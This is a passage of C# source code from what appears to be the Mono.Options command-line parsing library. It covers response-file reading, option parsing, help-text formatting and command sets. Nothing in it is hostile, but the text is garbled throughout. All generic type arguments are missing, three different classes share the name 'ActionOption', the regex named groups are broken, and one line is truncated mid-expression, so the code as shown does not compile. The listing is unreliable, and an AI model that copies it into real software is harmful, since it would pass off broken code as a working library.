620 | return GetArguments(File.OpenText(file), true);
621 | }
622 | #endif
623 |
624 | public static IEnumerable GetArguments(TextReader reader) {
625 | return GetArguments(reader, false);
626 | }
627 |
628 | // Cribbed from mcs/driver.cs:LoadArgs(string)
629 | static IEnumerable GetArguments(TextReader reader, bool close) {
630 | try {
631 | StringBuilder arg = new StringBuilder();
632 |
633 | string line;
634 | while ((line = reader.ReadLine()) != null) {
635 | int t = line.Length;
636 |
637 | for (int i = 0; i < t; i++) {
638 | char c = line[i];
639 |
640 | if (c == '"' || c == '\'') {
641 | char end = c;
642 |
643 | for (i++; i < t; i++) {
644 | c = line[i];
645 |
646 | if (c == end)
647 | break;
648 | arg.Append(c);
649 | }
650 | } else if (c == ' ') {
651 | if (arg.Length > 0) {
652 | yield return arg.ToString();
653 | arg.Length = 0;
654 | }
655 | } else
656 | arg.Append(c);
657 | }
658 | if (arg.Length > 0) {
659 | yield return arg.ToString();
660 | arg.Length = 0;
661 | }
662 | }
663 | } finally {
664 | if (close)
665 | reader.Dispose();
666 | }
667 | }
668 | }
669 |
670 | #if !PCL || NETSTANDARD1_3
671 | internal class ResponseFileSource : ArgumentSource {
672 |
673 | public override string[] GetNames() {
674 | return new string[] { "@file" };
675 | }
676 |
677 | public override string Description {
678 | get { return "Read response file for more options."; }
679 | }
680 |
681 | public override bool GetArguments(string value, out IEnumerable replacement) {
682 | if (string.IsNullOrEmpty(value) || !value.StartsWith("@")) {
683 | replacement = null;
684 | return false;
685 | }
686 | replacement = ArgumentSource.GetArgumentsFromFile(value.Substring(1));
687 | return true;
688 | }
689 | }
690 | #endif
691 |
692 | #if !PCL
693 | [Serializable]
694 | #endif
695 | internal class OptionException : Exception {
696 | private string option;
697 |
698 | public OptionException() {
699 | }
700 |
701 | public OptionException(string message, string optionName)
702 | : base(message) {
703 | this.option = optionName;
704 | }
705 |
706 | public OptionException(string message, string optionName, Exception innerException)
707 | : base(message, innerException) {
708 | this.option = optionName;
709 | }
710 |
711 | #if !PCL
712 | protected OptionException(SerializationInfo info, StreamingContext context)
713 | : base(info, context) {
714 | this.option = info.GetString("OptionName");
715 | }
716 | #endif
717 |
718 | public string OptionName {
719 | get { return this.option; }
720 | }
721 |
722 | #if !PCL
723 | #pragma warning disable 618 // SecurityPermissionAttribute is obsolete
724 | [SecurityPermission(SecurityAction.LinkDemand, SerializationFormatter = true)]
725 | #pragma warning restore 618
726 | public override void GetObjectData(SerializationInfo info, StreamingContext context) {
727 | base.GetObjectData(info, context);
728 | info.AddValue("OptionName", option);
729 | }
730 | #endif
731 | }
732 |
733 | public delegate void OptionAction(TKey key, TValue value);
734 |
735 | public class OptionSet : KeyedCollection {
736 | public OptionSet()
737 | : this(null) {
738 | }
739 |
740 | public OptionSet(MessageLocalizerConverter localizer) {
741 | this.roSources = new ReadOnlyCollection(sources);
742 | this.localizer = localizer;
743 | if (this.localizer == null) {
744 | this.localizer = delegate (string f) {
745 | return f;
746 | };
747 | }
748 | }
749 |
750 | MessageLocalizerConverter localizer;
751 |
752 | public MessageLocalizerConverter MessageLocalizer {
753 | get { return localizer; }
754 | internal set { localizer = value; }
755 | }
756 |
757 | List sources = new List();
758 | ReadOnlyCollection roSources;
759 |
760 | public ReadOnlyCollection ArgumentSources {
761 | get { return roSources; }
762 | }
763 |
764 |
765 | protected override string GetKeyForItem(Option item) {
766 | if (item == null)
767 | throw new ArgumentNullException("option");
768 | if (item.Names != null && item.Names.Length > 0)
769 | return item.Names[0];
770 | // This should never happen, as it's invalid for Option to be
771 | // constructed w/o any names.
772 | throw new InvalidOperationException("Option has no names!");
773 | }
774 |
775 | [Obsolete("Use KeyedCollection.this[string]")]
776 | protected Option GetOptionForName(string option) {
777 | if (option == null)
778 | throw new ArgumentNullException("option");
779 | try {
780 | return base[option];
781 | } catch (KeyNotFoundException) {
782 | return null;
783 | }
784 | }
785 |
786 | protected override void InsertItem(int index, Option item) {
787 | base.InsertItem(index, item);
788 | AddImpl(item);
789 | }
790 |
791 | protected override void RemoveItem(int index) {
792 | Option p = Items[index];
793 | base.RemoveItem(index);
794 | // KeyedCollection.RemoveItem() handles the 0th item
795 | for (int i = 1; i < p.Names.Length; ++i) {
796 | Dictionary.Remove(p.Names[i]);
797 | }
798 | }
799 |
800 | protected override void SetItem(int index, Option item) {
801 | base.SetItem(index, item);
802 | AddImpl(item);
803 | }
804 |
805 | private void AddImpl(Option option) {
806 | if (option == null)
807 | throw new ArgumentNullException("option");
808 | List added = new List(option.Names.Length);
809 | try {
810 | // KeyedCollection.InsertItem/SetItem handle the 0th name.
811 | for (int i = 1; i < option.Names.Length; ++i) {
812 | Dictionary.Add(option.Names[i], option);
813 | added.Add(option.Names[i]);
814 | }
815 | } catch (Exception) {
816 | foreach (string name in added)
817 | Dictionary.Remove(name);
818 | throw;
819 | }
820 | }
821 |
822 | public OptionSet Add(string header) {
823 | if (header == null)
824 | throw new ArgumentNullException("header");
825 | Add(new Category(header));
826 | return this;
827 | }
828 |
829 | internal sealed class Category : Option {
830 |
831 | // Prototype starts with '=' because this is an invalid prototype
832 | // (see Option.ParsePrototype(), and thus it'll prevent Category
833 | // instances from being accidentally used as normal options.
834 | public Category(string description)
835 | : base("=:Category:= " + description, description) {
836 | }
837 |
838 | protected override void OnParseComplete(OptionContext c) {
839 | throw new NotSupportedException("Category.OnParseComplete should not be invoked.");
840 | }
841 | }
842 |
843 |
844 | public new OptionSet Add(Option option) {
845 | base.Add(option);
846 | return this;
847 | }
848 |
849 | sealed class ActionOption : Option {
850 | Action action;
851 |
852 | public ActionOption(string prototype, string description, int count, Action action)
853 | : this(prototype, description, count, action, false) {
854 | }
855 |
856 | public ActionOption(string prototype, string description, int count, Action action, bool hidden)
857 | : base(prototype, description, count, hidden) {
858 | if (action == null)
859 | throw new ArgumentNullException("action");
860 | this.action = action;
861 | }
862 |
863 | protected override void OnParseComplete(OptionContext c) {
864 | action(c.OptionValues);
865 | }
866 | }
867 |
868 | public OptionSet Add(string prototype, Action action) {
869 | return Add(prototype, null, action);
870 | }
871 |
872 | public OptionSet Add(string prototype, string description, Action action) {
873 | return Add(prototype, description, action, false);
874 | }
875 |
876 | public OptionSet Add(string prototype, string description, Action action, bool hidden) {
877 | if (action == null)
878 | throw new ArgumentNullException("action");
879 | Option p = new ActionOption(prototype, description, 1,
880 | delegate (OptionValueCollection v) { action(v[0]); }, hidden);
881 | base.Add(p);
882 | return this;
883 | }
884 |
885 | public OptionSet Add(string prototype, OptionAction action) {
886 | return Add(prototype, null, action);
887 | }
888 |
889 | public OptionSet Add(string prototype, string description, OptionAction action) {
890 | return Add(prototype, description, action, false);
891 | }
892 |
893 | public OptionSet Add(string prototype, string description, OptionAction action, bool hidden) {
894 | if (action == null)
895 | throw new ArgumentNullException("action");
896 | Option p = new ActionOption(prototype, description, 2,
897 | delegate (OptionValueCollection v) { action(v[0], v[1]); }, hidden);
898 | base.Add(p);
899 | return this;
900 | }
901 |
902 | sealed class ActionOption : Option {
903 | Action action;
904 |
905 | public ActionOption(string prototype, string description, Action action)
906 | : base(prototype, description, 1) {
907 | if (action == null)
908 | throw new ArgumentNullException("action");
909 | this.action = action;
910 | }
911 |
912 | protected override void OnParseComplete(OptionContext c) {
913 | action(Parse(c.OptionValues[0], c));
914 | }
915 | }
916 |
917 | sealed class ActionOption : Option {
918 | OptionAction action;
919 |
920 | public ActionOption(string prototype, string description, OptionAction action)
921 | : base(prototype, description, 2) {
922 | if (action == null)
923 | throw new ArgumentNullException("action");
924 | this.action = action;
925 | }
926 |
927 | protected override void OnParseComplete(OptionContext c) {
928 | action(
929 | Parse(c.OptionValues[0], c),
930 | Parse(c.OptionValues[1], c));
931 | }
932 | }
933 |
934 | public OptionSet Add(string prototype, Action action) {
935 | return Add(prototype, null, action);
936 | }
937 |
938 | public OptionSet Add(string prototype, string description, Action action) {
939 | return Add(new ActionOption(prototype, description, action));
940 | }
941 |
942 | public OptionSet Add(string prototype, OptionAction action) {
943 | return Add(prototype, null, action);
944 | }
945 |
946 | public OptionSet Add(string prototype, string description, OptionAction action) {
947 | return Add(new ActionOption(prototype, description, action));
948 | }
949 |
950 | public OptionSet Add(ArgumentSource source) {
951 | if (source == null)
952 | throw new ArgumentNullException("source");
953 | sources.Add(source);
954 | return this;
955 | }
956 |
957 | protected virtual OptionContext CreateOptionContext() {
958 | return new OptionContext(this);
959 | }
960 |
961 | public List Parse(IEnumerable arguments) {
962 | if (arguments == null)
963 | throw new ArgumentNullException("arguments");
964 | OptionContext c = CreateOptionContext();
965 | c.OptionIndex = -1;
966 | bool process = true;
967 | List unprocessed = new List();
968 | Option def = Contains("<>") ? this["<>"] : null;
969 | ArgumentEnumerator ae = new ArgumentEnumerator(arguments);
970 | foreach (string argument in ae) {
971 | ++c.OptionIndex;
972 | if (argument == "--") {
973 | process = false;
974 | continue;
975 | }
976 | if (!process) {
977 | Unprocessed(unprocessed, def, c, argument);
978 | continue;
979 | }
980 | if (AddSource(ae, argument))
981 | continue;
982 | if (!Parse(argument, c))
983 | Unprocessed(unprocessed, def, c, argument);
984 | }
985 | if (c.Option != null)
986 | c.Option.Invoke(c);
987 | return unprocessed;
988 | }
989 |
990 | class ArgumentEnumerator : IEnumerable {
991 | List> sources = new List>();
992 |
993 | public ArgumentEnumerator(IEnumerable arguments) {
994 | sources.Add(arguments.GetEnumerator());
995 | }
996 |
997 | public void Add(IEnumerable arguments) {
998 | sources.Add(arguments.GetEnumerator());
999 | }
1000 |
1001 | public IEnumerator GetEnumerator() {
1002 | do {
1003 | IEnumerator c = sources[sources.Count - 1];
1004 | if (c.MoveNext())
1005 | yield return c.Current;
1006 | else {
1007 | c.Dispose();
1008 | sources.RemoveAt(sources.Count - 1);
1009 | }
1010 | } while (sources.Count > 0);
1011 | }
1012 |
1013 | IEnumerator IEnumerable.GetEnumerator() {
1014 | return GetEnumerator();
1015 | }
1016 | }
1017 |
1018 | bool AddSource(ArgumentEnumerator ae, string argument) {
1019 | foreach (ArgumentSource source in sources) {
1020 | IEnumerable replacement;
1021 | if (!source.GetArguments(argument, out replacement))
1022 | continue;
1023 | ae.Add(replacement);
1024 | return true;
1025 | }
1026 | return false;
1027 | }
1028 |
1029 | private static bool Unprocessed(ICollection extra, Option def, OptionContext c, string argument) {
1030 | if (def == null) {
1031 | extra.Add(argument);
1032 | return false;
1033 | }
1034 | c.OptionValues.Add(argument);
1035 | c.Option = def;
1036 | c.Option.Invoke(c);
1037 | return false;
1038 | }
1039 |
1040 | private readonly Regex ValueOption = new Regex(
1041 | @"^(?--|-|/)(?[^:=]+)((?[:=])(?.*))?$");
1042 |
1043 | protected bool GetOptionParts(string argument, out string flag, out string name, out string sep, out string value) {
1044 | if (argument == null)
1045 | throw new ArgumentNullException("argument");
1046 |
1047 | flag = name = sep = value = null;
1048 | Match m = ValueOption.Match(argument);
1049 | if (!m.Success) {
1050 | return false;
1051 | }
1052 | flag = m.Groups["flag"].Value;
1053 | name = m.Groups["name"].Value;
1054 | if (m.Groups["sep"].Success && m.Groups["value"].Success) {
1055 | sep = m.Groups["sep"].Value;
1056 | value = m.Groups["value"].Value;
1057 | }
1058 | return true;
1059 | }
1060 |
1061 | protected virtual bool Parse(string argument, OptionContext c) {
1062 | if (c.Option != null) {
1063 | ParseValue(argument, c);
1064 | return true;
1065 | }
1066 |
1067 | string f, n, s, v;
1068 | if (!GetOptionParts(argument, out f, out n, out s, out v))
1069 | return false;
1070 |
1071 | Option p;
1072 | if (Contains(n)) {
1073 | p = this[n];
1074 | c.OptionName = f + n;
1075 | c.Option = p;
1076 | switch (p.OptionValueType) {
1077 | case OptionValueType.None:
1078 | c.OptionValues.Add(n);
1079 | c.Option.Invoke(c);
1080 | break;
1081 | case OptionValueType.Optional:
1082 | case OptionValueType.Required:
1083 | ParseValue(v, c);
1084 | break;
1085 | }
1086 | return true;
1087 | }
1088 | // no match; is it a bool option?
1089 | if (ParseBool(argument, n, c))
1090 | return true;
1091 | // is it a bundled option?
1092 | if (ParseBundledValue(f, string.Concat(n + s + v), c))
1093 | return true;
1094 |
1095 | return false;
1096 | }
1097 |
1098 | private void ParseValue(string option, OptionContext c) {
1099 | if (option != null)
1100 | foreach (string o in c.Option.ValueSeparators != null
1101 | ? option.Split(c.Option.ValueSeparators, c.Option.MaxValueCount - c.OptionValues.Count, StringSplitOptions.None)
1102 | : new string[] { option }) {
1103 | c.OptionValues.Add(o);
1104 | }
1105 | if (c.OptionValues.Count == c.Option.MaxValueCount ||
1106 | c.Option.OptionValueType == OptionValueType.Optional)
1107 | c.Option.Invoke(c);
1108 | else if (c.OptionValues.Count > c.Option.MaxValueCount) {
1109 | throw new OptionException(localizer(string.Format(
1110 | "Error: Found {0} option values when expecting {1}.",
1111 | c.OptionValues.Count, c.Option.MaxValueCount)),
1112 | c.OptionName);
1113 | }
1114 | }
1115 |
1116 | private bool ParseBool(string option, string n, OptionContext c) {
1117 | Option p;
1118 | string rn;
1119 | if (n.Length >= 1 && (n[n.Length - 1] == '+' || n[n.Length - 1] == '-') &&
1120 | Contains((rn = n.Substring(0, n.Length - 1)))) {
1121 | p = this[rn];
1122 | string v = n[n.Length - 1] == '+' ? option : null;
1123 | c.OptionName = option;
1124 | c.Option = p;
1125 | c.OptionValues.Add(v);
1126 | p.Invoke(c);
1127 | return true;
1128 | }
1129 | return false;
1130 | }
1131 |
1132 | private bool ParseBundledValue(string f, string n, OptionContext c) {
1133 | if (f != "-")
1134 | return false;
1135 | for (int i = 0; i < n.Length; ++i) {
1136 | Option p;
1137 | string opt = f + n[i].ToString();
1138 | string rn = n[i].ToString();
1139 | if (!Contains(rn)) {
1140 | if (i == 0)
1141 | return false;
1142 | throw new OptionException(string.Format(localizer(
1143 | "Cannot use unregistered option '{0}' in bundle '{1}'."), rn, f + n), null);
1144 | }
1145 | p = this[rn];
1146 | switch (p.OptionValueType) {
1147 | case OptionValueType.None:
1148 | Invoke(c, opt, n, p);
1149 | break;
1150 | case OptionValueType.Optional:
1151 | case OptionValueType.Required: {
1152 | string v = n.Substring(i + 1);
1153 | c.Option = p;
1154 | c.OptionName = opt;
1155 | ParseValue(v.Length != 0 ? v : null, c);
1156 | return true;
1157 | }
1158 | default:
1159 | throw new InvalidOperationException("Unknown OptionValueType: " + p.OptionValueType);
1160 | }
1161 | }
1162 | return true;
1163 | }
1164 |
1165 | private static void Invoke(OptionContext c, string name, string value, Option option) {
1166 | c.OptionName = name;
1167 | c.Option = option;
1168 | c.OptionValues.Add(value);
1169 | option.Invoke(c);
1170 | }
1171 |
1172 | private const int OptionWidth = 29;
1173 | private const int Description_FirstWidth = 80 - OptionWidth;
1174 | private const int Description_RemWidth = 80 - OptionWidth - 2;
1175 |
1176 | static readonly string CommandHelpIndentStart = new string(' ', OptionWidth);
1177 | static readonly string CommandHelpIndentRemaining = new string(' ', OptionWidth + 2);
1178 |
1179 | public void WriteOptionDescriptions(TextWriter o) {
1180 | foreach (Option p in this) {
1181 | int written = 0;
1182 |
1183 | if (p.Hidden)
1184 | continue;
1185 |
1186 | Category c = p as Category;
1187 | if (c != null) {
1188 | WriteDescription(o, p.Description, "", 80, 80);
1189 | continue;
1190 | }
1191 | CommandOption co = p as CommandOption;
1192 | if (co != null) {
1193 | WriteCommandDescription(o, co.Command, co.CommandName);
1194 | continue;
1195 | }
1196 |
1197 | if (!WriteOptionPrototype(o, p, ref written))
1198 | continue;
1199 |
1200 | if (written < OptionWidth)
1201 | o.Write(new string(' ', OptionWidth - written));
1202 | else {
1203 | o.WriteLine();
1204 | o.Write(new string(' ', OptionWidth));
1205 | }
1206 |
1207 | WriteDescription(o, p.Description, new string(' ', OptionWidth + 2),
1208 | Description_FirstWidth, Description_RemWidth);
1209 | }
1210 |
1211 | foreach (ArgumentSource s in sources) {
1212 | string[] names = s.GetNames();
1213 | if (names == null || names.Length == 0)
1214 | continue;
1215 |
1216 | int written = 0;
1217 |
1218 | Write(o, ref written, " ");
1219 | Write(o, ref written, names[0]);
1220 | for (int i = 1; i < names.Length; ++i) {
1221 | Write(o, ref written, ", ");
1222 | Write(o, ref written, names[i]);
1223 | }
1224 |
1225 | if (written < OptionWidth)
1226 | o.Write(new string(' ', OptionWidth - written));
1227 | else {
1228 | o.WriteLine();
1229 | o.Write(new string(' ', OptionWidth));
1230 | }
1231 |
1232 | WriteDescription(o, s.Description, new string(' ', OptionWidth + 2),
1233 | Description_FirstWidth, Description_RemWidth);
1234 | }
1235 | }
1236 |
1237 | internal void WriteCommandDescription(TextWriter o, Command c, string commandName) {
1238 | var name = new string(' ', 8) + (commandName ?? c.Name);
1239 | if (name.Length < OptionWidth - 1) {
1240 | WriteDescription(o, name + new string(' ', OptionWidth - name.Length) + c.Help, CommandHelpIndentRemaining, 80, Description_RemWidth);
1241 | } else {
1242 | WriteDescription(o, name, "", 80, 80);
1243 | WriteDescription(o, CommandHelpIndentStart + c.Help, CommandHelpIndentRemaining, 80, Description_RemWidth);
1244 | }
1245 | }
1246 |
1247 | void WriteDescription(TextWriter o, string value, string prefix, int firstWidth, int remWidth) {
1248 | bool indent = false;
1249 | foreach (string line in GetLines(localizer(GetDescription(value)), firstWidth, remWidth)) {
1250 | if (indent)
1251 | o.Write(prefix);
1252 | o.WriteLine(line);
1253 | indent = true;
1254 | }
1255 | }
1256 |
1257 | bool WriteOptionPrototype(TextWriter o, Option p, ref int written) {
1258 | string[] names = p.Names;
1259 |
1260 | int i = GetNextOptionIndex(names, 0);
1261 | if (i == names.Length)
1262 | return false;
1263 |
1264 | if (names[i].Length == 1) {
1265 | Write(o, ref written, " -");
1266 | Write(o, ref written, names[0]);
1267 | } else {
1268 | Write(o, ref written, " --");
1269 | Write(o, ref written, names[0]);
1270 | }
1271 |
1272 | for (i = GetNextOptionIndex(names, i + 1);
1273 | i < names.Length; i = GetNextOptionIndex(names, i + 1)) {
1274 | Write(o, ref written, ", ");
1275 | Write(o, ref written, names[i].Length == 1 ? "-" : "--");
1276 | Write(o, ref written, names[i]);
1277 | }
1278 |
1279 | if (p.OptionValueType == OptionValueType.Optional ||
1280 | p.OptionValueType == OptionValueType.Required) {
1281 | if (p.OptionValueType == OptionValueType.Optional) {
1282 | Write(o, ref written, localizer("["));
1283 | }
1284 | Write(o, ref written, localizer("=" + GetArgumentName(0, p.MaxValueCount, p.Description)));
1285 | string sep = p.ValueSeparators != null && p.ValueSeparators.Length > 0
1286 | ? p.ValueSeparators[0]
1287 | : " ";
1288 | for (int c = 1; c < p.MaxValueCount; ++c) {
1289 | Write(o, ref written, localizer(sep + GetArgumentName(c, p.MaxValueCount, p.Description)));
1290 | }
1291 | if (p.OptionValueType == OptionValueType.Optional) {
1292 | Write(o, ref written, localizer("]"));
1293 | }
1294 | }
1295 | return true;
1296 | }
1297 |
1298 | static int GetNextOptionIndex(string[] names, int i) {
1299 | while (i < names.Length && names[i] == "<>") {
1300 | ++i;
1301 | }
1302 | return i;
1303 | }
1304 |
1305 | static void Write(TextWriter o, ref int n, string s) {
1306 | n += s.Length;
1307 | o.Write(s);
1308 | }
1309 |
1310 | static string GetArgumentName(int index, int maxIndex, string description) {
1311 | var matches = Regex.Matches(description ?? "", @"(?<=(? 1
1320 | if (maxIndex > 1 && parts.Length == 2 &&
1321 | parts[0] == index.ToString(CultureInfo.InvariantCulture)) {
1322 | argName = parts[1];
1323 | }
1324 | }
1325 |
1326 | if (string.IsNullOrEmpty(argName)) {
1327 | argName = maxIndex == 1 ? "VALUE" : "VALUE" + (index + 1);
1328 | }
1329 | return argName;
1330 | }
1331 |
1332 | private static string GetDescription(string description) {
1333 | if (description == null)
1334 | return string.Empty;
1335 | StringBuilder sb = new StringBuilder(description.Length);
1336 | int start = -1;
1337 | for (int i = 0; i < description.Length; ++i) {
1338 | switch (description[i]) {
1339 | case '{':
1340 | if (i == start) {
1341 | sb.Append('{');
1342 | start = -1;
1343 | } else if (start < 0)
1344 | start = i + 1;
1345 | break;
1346 | case '}':
1347 | if (start < 0) {
1348 | if ((i + 1) == description.Length || description[i + 1] != '}')
1349 | throw new InvalidOperationException("Invalid option description: " + description);
1350 | ++i;
1351 | sb.Append("}");
1352 | } else {
1353 | sb.Append(description.Substring(start, i - start));
1354 | start = -1;
1355 | }
1356 | break;
1357 | case ':':
1358 | if (start < 0)
1359 | goto default;
1360 | start = i + 1;
1361 | break;
1362 | default:
1363 | if (start < 0)
1364 | sb.Append(description[i]);
1365 | break;
1366 | }
1367 | }
1368 | return sb.ToString();
1369 | }
1370 |
1371 | private static IEnumerable GetLines(string description, int firstWidth, int remWidth) {
1372 | return StringCoda.WrappedLines(description, firstWidth, remWidth);
1373 | }
1374 | }
1375 |
1376 | internal class Command {
1377 | public string Name { get; }
1378 | public string Help { get; }
1379 |
1380 | public OptionSet Options { get; set; }
1381 | public Action> Run { get; set; }
1382 |
1383 | public CommandSet CommandSet { get; internal set; }
1384 |
1385 | public Command(string name, string help = null) {
1386 | if (string.IsNullOrEmpty(name))
1387 | throw new ArgumentNullException(nameof(name));
1388 |
1389 | Name = NormalizeCommandName(name);
1390 | Help = help;
1391 | }
1392 |
1393 | static string NormalizeCommandName(string name) {
1394 | var value = new StringBuilder(name.Length);
1395 | var space = false;
1396 | for (int i = 0; i < name.Length; ++i) {
1397 | if (!char.IsWhiteSpace(name, i)) {
1398 | space = false;
1399 | value.Append(name[i]);
1400 | } else if (!space) {
1401 | space = true;
1402 | value.Append(' ');
1403 | }
1404 | }
1405 | return value.ToString();
1406 | }
1407 |
1408 | public virtual int Invoke(IEnumerable arguments) {
1409 | var rest = Options?.Parse(arguments) ?? arguments;
1410 | Run?.Invoke(rest);
1411 | return 0;
1412 | }
1413 | }
1414 |
1415 | class CommandOption : Option {
1416 | public Command Command { get; }
1417 | public string CommandName { get; }
1418 |
1419 | // Prototype starts with '=' because this is an invalid prototype
1420 | // (see Option.ParsePrototype(), and thus it'll prevent Category
1421 | // instances from being accidentally used as normal options.
1422 | public CommandOption(Command command, string commandName = null, bool hidden = false)
1423 | : base("=:Command:= " + (commandName ?? command?.Name), (commandName ?? command?.Name), maxValueCount: 0, hidden: hidden) {
1424 | if (command == null)
1425 | throw new ArgumentNullException(nameof(command));
1426 | Command = command;
1427 | CommandName = commandName ?? command.Name;
1428 | }
1429 |
1430 | protected override void OnParseComplete(OptionContext c) {
1431 | throw new NotSupportedException("CommandOption.OnParseComplete should not be invoked.");
1432 | }
1433 | }
1434 |
1435 | class HelpOption : Option {
1436 | Option option;
1437 | CommandSet commands;
1438 |
1439 | public HelpOption(CommandSet commands, Option d)
1440 | : base(d.Prototype, d.Description, d.MaxValueCount, d.Hidden) {
1441 | this.commands = commands;
1442 | this.option = d;
1443 | }
1444 |
1445 | protected override void OnParseComplete(OptionContext c) {
1446 | commands.showHelp = true;
1447 |
1448 | option?.InvokeOnParseComplete(c);
1449 | }
1450 | }
1451 |
1452 | class CommandOptionSet : OptionSet {
1453 | CommandSet commands;
1454 |
1455 | public CommandOptionSet(CommandSet commands, MessageLocalizerConverter localizer)
1456 | : base(localizer) {
1457 | this.commands = commands;
1458 | }
1459 |
1460 | protected override void SetItem(int index, Option item) {
1461 | if (ShouldWrapOption(item)) {
1462 | base.SetItem(index, new HelpOption(commands, item));
1463 | return;
1464 | }
1465 | base.SetItem(index, item);
1466 | }
1467 |
1468 | bool ShouldWrapOption(Option item) {
1469 | if (item == null)
1470 | return false;
1471 | var help = item as HelpOption;
1472 | if (help != null)
1473 | return false;
1474 | foreach (var n in item.Names) {
1475 | if (n == "help")
1476 | return true;
1477 | }
1478 | return false;
1479 | }
1480 |
1481 | protected override void InsertItem(int index, Option item) {
1482 | if (ShouldWrapOption(item)) {
1483 | base.InsertItem(index, new HelpOption(commands, item));
1484 | return;
1485 | }
1486 | base.InsertItem(index, item);
1487 | }
1488 | }
1489 |
1490 | internal class CommandSet : KeyedCollection {
1491 | readonly string suite;
1492 |
1493 | OptionSet options;
1494 | TextWriter outWriter;
1495 | TextWriter errorWriter;
1496 |
1497 | internal List NestedCommandSets;
1498 |
1499 | internal HelpCommand help;
1500 |
1501 | internal bool showHelp;
1502 |
1503 | internal OptionSet Options => options;
1504 |
1505 | #if !PCL || NETSTANDARD1_3
1506 | public CommandSet(string suite, MessageLocalizerConverter localizer = null)
1507 | : this(suite, Console.Out, Console.Error, localizer) {
1508 | }
1509 | #endif
1510 |
1511 | public CommandSet(string suite, TextWriter output, TextWriter error, MessageLocalizerConverter localizer = null) {
1512 | if (suite == null)
1513 | throw new ArgumentNullException(nameof(suite));
1514 | if (output == null)
1515 | throw new ArgumentNullException(nameof(output));
1516 | if (error == null)
1517 | throw new ArgumentNullException(nameof(error));
1518 |
1519 | this.suite = suite;
1520 | options = new CommandOptionSet(this, localizer);
1521 | outWriter = output;
1522 | errorWriter = error;
1523 | }
1524 |
1525 | public string Suite => suite;
1526 | public TextWriter Out => outWriter;
1527 | public TextWriter Error => errorWriter;
1528 | public MessageLocalizerConverter MessageLocalizer => options.MessageLocalizer;
1529 |
1530 | protected override string GetKeyForItem(Command item) {
1531 | return item?.Name;
1532 | }
1533 |
1534 | public new CommandSet Add(Command value) {
1535 | if (value == null)
1536 | throw new ArgumentNullException(nameof(value));
1537 | AddCommand(value);
1538 | options.Add(new CommandOption(value));
1539 | return this;
1540 | }
1541 |
1542 | void AddCommand(Command value) {
1543 | if (value.CommandSet != null && value.CommandSet != this) {
1544 | throw new ArgumentException("Command instances can only be added to a single CommandSet.", nameof(value));
1545 | }
1546 | value.CommandSet = this;
1547 | if (value.Options != null) {
1548 | value.Options.MessageLocalizer = options.MessageLocalizer;
1549 | }
1550 |
1551 | base.Add(value);
1552 |
1553 | help = help ?? value as HelpCommand;
1554 | }
1555 |
1556 | public CommandSet Add(string header) {
1557 | options.Add(header);
1558 | return this;
1559 | }
1560 |
1561 | public CommandSet Add(Option option) {
1562 | options.Add(option);
1563 | return this;
1564 | }
1565 |
1566 | public CommandSet Add(string prototype, Action action) {
1567 | options.Add(prototype, action);
1568 | return this;
1569 | }
1570 |
1571 | public CommandSet Add(string prototype, string description, Action action) {
1572 | options.Add(prototype, description, action);
1573 | return this;
1574 | }
1575 |
1576 | public CommandSet Add(string prototype, string description, Action action, bool hidden) {
1577 | options.Add(prototype, description, action, hidden);
1578 | return this;
1579 | }
1580 |
1581 | public CommandSet Add(string prototype, OptionAction action) {
1582 | options.Add(prototype, action);
1583 | return this;
1584 | }
1585 |
1586 | public CommandSet Add(string prototype, string description, OptionAction action) {
1587 | options.Add(prototype, description, action);
1588 | return this;
1589 | }
1590 |
1591 | public CommandSet Add(string prototype, string description, OptionAction action, bool hidden) {
1592 | options.Add(prototype, description, action, hidden);
1593 | return this;
1594 | }
1595 |
1596 | public CommandSet Add(string prototype, Action action) {
1597 | options.Add(prototype, null, action);
1598 | return this;
1599 | }
1600 |
1601 | public CommandSet Add(string prototype, string description, Action action) {
1602 | options.Add(prototype, description, action);
1603 | return this;
1604 | }
1605 |
1606 | public CommandSet Add(string prototype, OptionAction action) {
1607 | options.Add(prototype, action);
1608 | return this;
1609 | }
1610 |
1611 | public CommandSet Add(string prototype, string description, OptionAction action) {
1612 | options.Add(prototype, description, action);
1613 | return this;
1614 | }
1615 |
1616 | public CommandSet Add(ArgumentSource source) {
1617 | options.Add(source);
1618 | return this;
1619 | }
1620 |
1621 | public CommandSet Add(CommandSet nestedCommands) {
1622 | if (nestedCommands == null)
1623 | throw new ArgumentNullException(nameof(nestedCommands));
1624 |
1625 | if (NestedCommandSets == null) {
1626 | NestedCommandSets = new List();
1627 | }
1628 |
1629 | if (!AlreadyAdded(nestedCommands)) {
1630 | NestedCommandSets.Add(nestedCommands);
1631 | foreach (var o in nestedCommands.options) {
1632 | if (o is CommandOption c) {
1633 | options.Add(new CommandOption(c.Command, $"{nestedCommands.Suite} {c.CommandName}"));
1634 | } else {
1635 | options.Add(o);
1636 | }
1637 | }
1638 | }
1639 |
1640 | nestedCommands.options = this.options;
1641 | nestedCommands.outWriter = this.outWriter;
1642 | nestedCommands.errorWriter = this.errorWriter;
1643 |
1644 | return this;
1645 | }
1646 |
1647 | bool AlreadyAdded(CommandSet value) {
1648 | if (value == this)
1649 | return true;
1650 | if (NestedCommandSets == null)
1651 | return false;
1652 | foreach (var nc in NestedCommandSets) {
1653 | if (nc.AlreadyAdded(value))
1654 | return true;
1655 | }
1656 | return false;
1657 | }
1658 |
1659 | public IEnumerable GetCompletions(string prefix = null) {
1660 | string rest;
1661 | ExtractToken(ref prefix, out rest);
1662 |
1663 | foreach (var command in this) {
1664 | if (command.Name.StartsWith(prefix, StringComparison.OrdinalIgnoreCase)) {
1665 | yield return command.Name;
1666 | }
1667 | }
1668 |
1669 | if (NestedCommandSets == null)
1670 | yield break;
1671 |
1672 | foreach (var subset in NestedCommandSets) {
1673 | if (subset.Suite.StartsWith(prefix, StringComparison.OrdinalIgnoreCase)) {
1674 | foreach (var c in subset.GetCompletions(rest)) {
1675 | yield return $"{subset.Suite} {c}";
1676 | }
1677 | }
1678 | }
1679 | }
1680 |
1681 | static void ExtractToken(ref string input, out string rest) {
1682 | rest = "";
1683 | input = input ?? "";
1684 |
1685 | int top = input.Length;
1686 | for (int i = 0; i < top; i++) {
1687 | if (char.IsWhiteSpace(input[i]))
1688 | continue;
1689 |
1690 | for (int j = i; j < top; j++) {
1691 | if (char.IsWhiteSpace(input[j])) {
1692 | rest = input.Substring(j).Trim();
1693 | input = input.Substring(i, j).Trim();
1694 | return;
1695 | }
1696 | }
1697 | rest = "";
1698 | if (i != 0)
1699 | input = input.Substring(i).Trim();
1700 | return;
1701 | }
1702 | }
1703 |
1704 | public int Run(IEnumerable arguments) {
1705 | if (arguments == null)
